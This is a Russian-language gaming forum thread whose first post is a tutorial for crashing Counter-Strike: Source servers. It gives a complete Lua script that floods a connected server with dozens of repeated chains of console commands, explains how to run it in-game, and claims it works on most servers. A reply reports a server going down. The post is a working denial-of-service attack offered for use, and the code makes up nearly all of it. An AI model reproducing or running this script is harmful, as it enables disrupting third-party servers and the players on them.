1. 2xB10.05.2025 в 17:43от
Загрузка...

Пишем Crash для серверов в CS:Source

Тема в разделе "Counter-Strike", создана пользователем DinoMCv3, 02.12.2012.

  1. DinoMCv3

    DinoMCv3

    Статус:
    Оффлайн
    Регистрация:
    01.12.12
    Сообщения:
    7
    Репутация:
    92 +/-
    Пишем Crash для серверов в CS:Source на Lua Engine.
    Если вы читали мою прошлую статью то lua mod у вас уже установлен.
    Запускаем Notepad ++
    И так нам нужна команда для краша сервера и повторять её много раз.
    Обычно это команда status и ping.Это могут быть и все команды css.
    Мы будем крашить всеми командами css.
    Пишем в Notepad ++
    =============================================================================================
    function crash()
    wait(100)
    cmd("retry")
    wait(100)
    cmd("disconnect")
    wait(100)
    cmd("retry")
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;heartbeat;kick;kickid;ban;admin;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;npc_select;heartbeat;kick;kickid;ban;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;heartbeat;kick;kickid;ban;admin;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;npc_select;heartbeat;kick;kickid;ban;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;heartbeat;kick;kickid;ban;admin;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;npc_select;heartbeat;kick;kickid;ban;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;heartbeat;kick;kickid;ban;admin;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;npc_select;heartbeat;kick;kickid;ban;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;heartbeat;kick;kickid;ban;admin;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;npc_select;heartbeat;kick;kickid;ban;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;heartbeat;kick;kickid;ban;admin;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;npc_select;heartbeat;kick;kickid;ban;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(100)
    cmd("status;admin;heartbeat;kick;kickid;ban;npc_ammo_deplete;npc_select;groundlist;npc_combat;npc_create;CreateHairball;report_entities;npc_route;npc_viewcone;cast_hull;cast_ray;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    cmd("npc_tasks;npc_ammo_deplete;heartbeat;kick;kickid;ban;npc_teleport;npc_vphysics;npc_freeze;npc_go;npc_go_do_run;npc_focus;npc_ally_deathmessage;npc_ammo_deplete;npc_bipass;npc_combat;npc_conditions;npc_name;npc_destroy;npc_heal;report_touchlinks;physics_budget;physics_debug_entity;physics_select;dump_enitiy_sizes;dumpgamestringtables;report_simthinklist;physics_highlight_active;map_showspawnpoints")
    wait(200)
    end
    crash()
    wait(3000)
    cmd("disconnect")
    =============================================================
    В cmd заключены команды.Wait(200)-повторение команды cmd несколько раз.
    Теперь сохраняем этот код под именем crash.lua
    Заходим в css,на сервер и пишем в концоле openscipt crash.lua.
    И видим сервер упал.Этот краш на 80% серверов css т.к на популярные серверах установлен плагин anti status&ping.Который запрещаетиспользование команды status.

    =================================================================
    Спасибо за внимание!
    =================
    Контакты:
    Skype:by.steam
    От + не откажусь
     
  2. kanabis200

    kanabis200

    Статус:
    Оффлайн
    Регистрация:
    25.11.12
    Сообщения:
    117
    Репутация:
    49 +/-
    Спасибо!Первый раз не вышло,а второй раз упал серв :)